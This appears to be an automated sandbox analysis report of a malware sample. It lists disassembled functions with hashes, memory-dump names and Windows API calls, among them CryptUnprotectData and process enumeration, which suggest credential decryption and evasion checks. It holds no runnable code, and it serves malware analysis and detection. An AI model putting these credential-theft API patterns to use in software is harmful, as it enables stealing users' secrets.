String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 8e3ef79709e35466cc41d15fda64aeca2a5a074b24679d1d4ccd318790550f51
Instruction ID: 9a79cb98fdb2171a009494959310fdda1a216af0c902e4b15f9f8e1ccd601a32
Opcode Fuzzy Hash: 8e3ef79709e35466cc41d15fda64aeca2a5a074b24679d1d4ccd318790550f51
Instruction Fuzzy Hash: 2D1231719106189BDF1AFBA0DC96EED7778AF54300F4046A8B50A9A091EF306F49CFD2

Function 00748B29 Relevance: 9.2, Strings: 6, Instructions: 1717COMMON

Download Yara Rule

Strings

woI@, xrefs: 007495F8
wXfJ, xrefs: 0074943D
43Q', xrefs: 0074965E
!Iy, xrefs: 00748FE1
-o{, xrefs: 00749E32
M'Y|, xrefs: 007493E3

Memory Dump Source

Source File: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -o{$!Iy$43Q'$M'Y|$wXfJ$woI@
API String ID: 0-2881124228
Opcode ID: 00286a74cbf312e639e6e19dbf20347e4b3c9828433e6f99751cac760988ae5c
Instruction ID: e33cb09e347a91783c55cc32dc6b349f391f9c2e03fd581969b6d8277c0b6b66
Opcode Fuzzy Hash: 00286a74cbf312e639e6e19dbf20347e4b3c9828433e6f99751cac760988ae5c
Instruction Fuzzy Hash: 2EB229F360C2009FE3086E2DEC8567BB7EAEBD4320F1A853EE6C5C7744E97558058696

Function 0075134A Relevance: 9.2, Strings: 6, Instructions: 1664COMMON

Download Yara Rule

Strings

!1vS, xrefs: 00751678
jOvW, xrefs: 007526EA
%5Q, xrefs: 00751CB1
~m_, xrefs: 007518D4
vo??, xrefs: 00751903
s/7W, xrefs: 00751F0E

Memory Dump Source

Source File: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !1vS$%5Q$jOvW$s/7W$vo??$~m_
API String ID: 0-1724610977
Opcode ID: 3f2f63936ce745fe09b0509dbbcfd2bd1fcfe5fdb12e50ed30e20dbe5fad5410
Instruction ID: 4f61cc93ceefe0af48539b4f1314b0ca90c0a2270af58836c216e145aae29fc7
Opcode Fuzzy Hash: 3f2f63936ce745fe09b0509dbbcfd2bd1fcfe5fdb12e50ed30e20dbe5fad5410
Instruction Fuzzy Hash: EDB2E5F3A0C2049FE3046E2DEC8567AFBE9EF94720F1A493DE6C5C3744EA3558418696

Function 0074C185 Relevance: 9.1, Strings: 6, Instructions: 1611COMMON

Download Yara Rule

Strings

o%w^, xrefs: 0074C7B9
/<^?, xrefs: 0074C654
RT?, xrefs: 0074D1E6
{Fo, xrefs: 0074D04C
zJKG, xrefs: 0074C4AA
p[M, xrefs: 0074CD4C

Memory Dump Source

Source File: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /<^?$RT?$o%w^$p[M$zJKG${Fo
API String ID: 0-3244588706
Opcode ID: ae0cf292bdd105c78308832a65b9307decff075947dd08d3ded84aa1c9484c60
Instruction ID: 50ea7d9d451d094637504ce056c534b6752643fc04bfbfe50c22a11dca799307
Opcode Fuzzy Hash: ae0cf292bdd105c78308832a65b9307decff075947dd08d3ded84aa1c9484c60
Instruction Fuzzy Hash: A3B216F350C2049FE3046E2DEC8567AFBE9EF94320F16493DEAC487744EA7558058697

Function 00389AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N8,00000000,00000000), ref: 00389AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00384EEE,00000000,?), ref: 00389B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N8,00000000,00000000), ref: 00389B2A
LocalFree.KERNEL32(?,?,?,?,00384EEE,00000000,?), ref: 00389B3F

Strings

N8, xrefs: 00389AD4, 00389AE1, 00389AF9, 00389B18, 00389AE4, 00389B1B

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N8
API String ID: 4291131564-2731101833
Opcode ID: a513bb502861d5604315c42a6171bbd5164c24673da477becab628df20bf6783
Instruction ID: f8444c4544b980b999141e07d1bf4384ce49e32a21bf69f7758c6885d4c407b2
Opcode Fuzzy Hash: a513bb502861d5604315c42a6171bbd5164c24673da477becab628df20bf6783
Instruction Fuzzy Hash: C911D2B4241308EFEB01CF64CC95FAA77B5FB89704F208089F9159B390C7B2AA01DB90

Function 00743954 Relevance: 7.9, Strings: 5, Instructions: 1659COMMON

Download Yara Rule

Strings

{B}, xrefs: 00743E53
I{g, xrefs: 00744474
/\r_, xrefs: 00744882
GKMw, xrefs: 00743CF4
\"~", xrefs: 0074441A

Memory Dump Source

Source File: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /\r_$GKMw$\"~"${B}$I{g
API String ID: 0-2058498375
Opcode ID: 1e458ab8c7a638b002003641484b82b7fb44a8bd5f38985aaa0ce58b713cefe2
Instruction ID: ed63f0980ee13650a3bc8ff30025ec98f777b210ff7c349ed7ff4e79e1aaea8b
Opcode Fuzzy Hash: 1e458ab8c7a638b002003641484b82b7fb44a8bd5f38985aaa0ce58b713cefe2
Instruction Fuzzy Hash: 9EB205F360C2049FE304AE2DEC8567AFBE9EB94620F16493DE6C5C7744EA3598058793

Function 00745433 Relevance: 7.9, Strings: 5, Instructions: 1610COMMON

Download Yara Rule

Strings

a,T_, xrefs: 0074640F
pvXp, xrefs: 00745EAD
U*k=, xrefs: 007461CF
00cfg, xrefs: 00745584
U*k=, xrefs: 00746204

Memory Dump Source

Source File: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00cfg$U*k=$U*k=$a,T_$pvXp
API String ID: 0-3089016586
Opcode ID: 935e6dd924ab31ae7dc04694eda2dd8a268117abb1362a29f14db52437e24f2c
Instruction ID: 6888594835362c84f3ffaa971920c2c84eaf7c17177b2ca844aa979d3bfdfee2
Opcode Fuzzy Hash: 935e6dd924ab31ae7dc04694eda2dd8a268117abb1362a29f14db52437e24f2c
Instruction Fuzzy Hash: CBB226F3A0C2149FE7046E2DEC8567ABBE5EF94320F1A463DEAC5C7744EA3558058683

Function 0038C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0038C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0038C87C
lstrcat.KERNEL32(?,003A0B46), ref: 0038C943
lstrcat.KERNEL32(?,003A0B47), ref: 0038C957
lstrcat.KERNEL32(?,003A0B4E), ref: 0038C978

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: f966b66c90ada5ffe798ba4505516abd0205e83baeef2c0892f5b7edc2e26e91
Instruction ID: 5969d1abf273983c2598302fee79e8192f9195f0aabe9a2e2e6d80712fbef650
Opcode Fuzzy Hash: f966b66c90ada5ffe798ba4505516abd0205e83baeef2c0892f5b7edc2e26e91
Instruction Fuzzy Hash: C9416E74D1421EDFDB10DFA4DD89FEEBBB8BB48308F1041A8E509A6280D7705A84DFA1

Function 00396920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0039696C
sscanf.NTDLL ref: 00396999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 003969B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 003969C0
ExitProcess.KERNEL32 ref: 003969DA

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: f96e8ed0e6c41b52cbf4623ce838ea9621604ca129246919722c1beb07e5aa3c
Instruction ID: 1c0d60252d1f48ffed597e5a55ad1bf9d586b779a637d7e427829fae7fb44487
Opcode Fuzzy Hash: f96e8ed0e6c41b52cbf4623ce838ea9621604ca129246919722c1beb07e5aa3c
Instruction Fuzzy Hash: CD21EA75D1420CAFCF05EFE4D945DEEBBB5BF48304F04852AE406A3250EB345609DBA9

Function 00387240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0038724D
RtlAllocateHeap.NTDLL(00000000), ref: 00387254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00387281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 003872A4
LocalFree.KERNEL32(?), ref: 003872AE

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: a78d74ef730aa6eab40973c3b3bf991248d381f490d962ce304d20c85af65c8c
Instruction ID: a1473e8d7eb55f4590928e8e807310a642b398fb03e812cecbd6613e7de44a77
Opcode Fuzzy Hash: a78d74ef730aa6eab40973c3b3bf991248d381f490d962ce304d20c85af65c8c
Instruction Fuzzy Hash: DC011275A40308BFEB14DFE4CD4AF9D7BB8EB44704F104555FB05AB2C0D670AA049B65

Function 00399600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0039961E
Process32First.KERNEL32(003A0ACA,00000128), ref: 00399632
Process32Next.KERNEL32(003A0ACA,00000128), ref: 00399647
StrCmpCA.SHLWAPI(?,00000000), ref: 0039965C
CloseHandle.KERNEL32(003A0ACA), ref: 0039967A

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 072a397b65f9a142fed76b571b4c79048c16dcbfbea374d7653b1647ab724729
Instruction ID: 92001967a9b51b1a9a1caa7c455302ce4578fb0f9cb137820c98b675791336ed
Opcode Fuzzy Hash: 072a397b65f9a142fed76b571b4c79048c16dcbfbea374d7653b1647ab724729
Instruction Fuzzy Hash: 6801E5B5A00208AFCF15DFA9CD48BEDBBF8EB58314F104189A90AA6240EB349A44DF51

Function 0074A922 Relevance: 6.4, Strings: 4, Instructions: 1394COMMON

Download Yara Rule

Strings

V!8, xrefs: 0074B836
px<, xrefs: 0074B1F0
K[, xrefs: 0074B030
/h.}, xrefs: 0074AEF9

Memory Dump Source

Source File: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /h.}$V!8$px<$K[
API String ID: 0-2983324175
Opcode ID: a9579365901a9486a69c35c83b27b4923d1f3ca9dfc1ac411bee77b77db17b35
Instruction ID: d1658e9c077d4ad847d8a6e3f319a7475ed6a717c2964abd0c5de62f4f571a8f
Opcode Fuzzy Hash: a9579365901a9486a69c35c83b27b4923d1f3ca9dfc1ac411bee77b77db17b35
Instruction Fuzzy Hash: AF92E5F350C6049FE304AE2DEC8567AFBE9EF94720F1A493DEAC4C7740E63598058696

Function 00398EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00385184,40000001,00000000,00000000,?,00385184), ref: 00398EC0

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
